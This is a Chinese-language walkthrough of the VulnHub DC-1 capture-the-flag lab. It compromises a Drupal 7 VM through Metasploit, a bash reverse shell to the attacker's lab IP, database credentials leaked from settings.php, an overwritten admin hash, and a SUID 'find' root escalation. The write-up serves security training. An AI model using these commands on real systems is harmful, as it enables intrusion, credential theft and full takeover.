环境配置

vulnhub 下载此靶机,下载地址如下:

1
https://download.vulnhub.com/dc/DC-1.zip

将靶机设置为 NAT 模式,开机即可,配置说明如下:

1
2
攻击机ip:192.168.52.128
靶机ip:192.168.52.143

信息收集

端口扫描

首先使用 Nmap 的 Ping 扫描快速发现活跃主机,发现靶机 ip 为 192.168.52.143

1
nmap -sP 192.168.52.0/24

使用 Nmap 全面扫一下开放的端口和运行的服务

1
nmap -sT -A -p1-65535 -T4 -O -sV 192.168.52.143

扫描结果如下:系统开放了一个 SSH 服务(22 端口)、 HTTP 服务(80 端口)、还有几个未知端口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
PORT      STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
| ssh-hostkey:
| 1024 c4:d6:59:e6:77:4c:22:7a:96:16:60:67:8b:42:48:8f (DSA)
| 2048 11:82:fe:53:4e:dc:5b:32:7f:44:64:82:75:7d:d0:a0 (RSA)
|_ 256 3d:aa:98:5c:87:af:ea:84:b8:23:68:8d:b9:05:5f:d8 (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Debian))
|_http-server-header: Apache/2.2.22 (Debian)
|_http-title: Welcome to Drupal Site | Drupal Site
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
111/tcp open rpcbind 2-4 (RPC #100000)
52216/tcp open status 1 (RPC #100024)

网站信息收集

访问 80 端口搭建的网站,根据明显特征和插件识别发现是用开源 CMS Drupal 搭建的

漏洞利用

CMS 框架漏洞

搜索历史漏洞,找到一个比较新一点的 CVE-2018-7600,但是复现不出来(脚本也没复现出来)

于是还是用网上大多数人用的办法,使用 kali 自带工具 Metasploit 来搜索漏洞

1
2
3
4
5
6
msfconsole      #启动工具
search Drupal #搜索cms相关漏洞
use 1 #漏洞序号,找对应的或者版本比较新的
show options #查看需要设置哪些参数
set rhosts http://192.168.52.143/ #填入必填参数
run #运行

漏洞利用成功后,会建立一个 Meterpreter 会话,需要手动切换到 shell 执行命令

但是这样没有正常的交互 shell 不习惯,所以这里反弹一个 shell 用

1
bash -c "/bin/bash -i >& /dev/tcp/192.168.52.128/2233 0>&1"

查看文件得到 flag1,提示寻找 CMS 的配置文件

配置文件泄露

Drupal 配置文件路径是 /var/www/sites/default/settings.php,在该文件中发现了数据库的账号密码,同时这里可以看到 flag2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
/**
*
* flag2
* Brute force and dictionary attacks aren't the
* only ways to gain access (and you WILL need access).
* What can you do with these credentials?
*
*/

$databases = array (
'default' =>
array (
'default' =>
array (
'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
),
),
);

只能使用该主机连接,但是不知道为什么这里账号密码登陆输入命令无回显,只能用 -e 参数一条一条输入命令来回显

1
2
3
mysql -udbuser -pR0ck3t -e "show databases";
mysql -udbuser -pR0ck3t -e "use drupaldb;show tables";
mysql -udbuser -pR0ck3t -e "use drupaldb;select * from users";

数据库数据修改

很明显的 users 表,查到 admin 的账号密码,但是密码是 hash 加密过的,这里也不能新建用户然后替换密码,必须知道加密逻辑或者加密方式

1
admin   $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR

hashcat wiki 搜索发现是 Drupal7 样式的,尝试爆破,无果

1
hashcat -a 0 -m 7900 hash.txt /usr/share/wordlists/fasttrack.txt

在 scripts 目录发现加密脚本,读源码可知脚本中定义了需要在默认目录下运行才能正常输出,对比一下文件可知默认目录为 /var/www/,php运行脚本

1
php scripts/password-hash.sh admin
1
2
password: admin
hash: $S$DVxrd3dpaRxqtQLXz4IYHGDdKp8TTwdxfvpe8LMQmk2cP7l5.UET

得到 admin 经过脚本加密后的 hash 字符串,使用 UPDATE 函数更新 user 表的 admin 密码即可(这这里非交互式的命令有点问题,总会缺点东西,所以先用交互式的插入,再验证是否成功)

1
2
3
4
mysql -udbuser -pR0ck3t
use drupaldb;
update users set pass='$S$DVxrd3dpaRxqtQLXz4IYHGDdKp8TTwdxfvpe8LMQmk2cP7l5.UET' where name='admin';
mysql -udbuser -pR0ck3t -e "use drupaldb;select * from users";

可以看到已经修改为我们加密后的密码了

后台信息泄露

使用修改后的账密 admin:admin 登陆后台,在 content 处发现 flag3,提示我们看 /etc/shadow

但是没权限,退一步先看 /etc/passwd,发现 flag4 在 home 目录下,查看提示 flag 在 root 目录下,尝试提权

权限提升

suid 提权,先找一下具有 suid 权限的二进制可执行文件

1
find / -user root -perm -4000 -print 2>/dev/null

发现 find 文件,经典 find 提权,先随便创建一个文件,执行命令提权,查看 root 目录,得到最终 flag

1
2
3
touch 1.txt
/usr/bin/find 1.txt -exec /bin/sh \; -quit
cat /root/thefinalflag.txt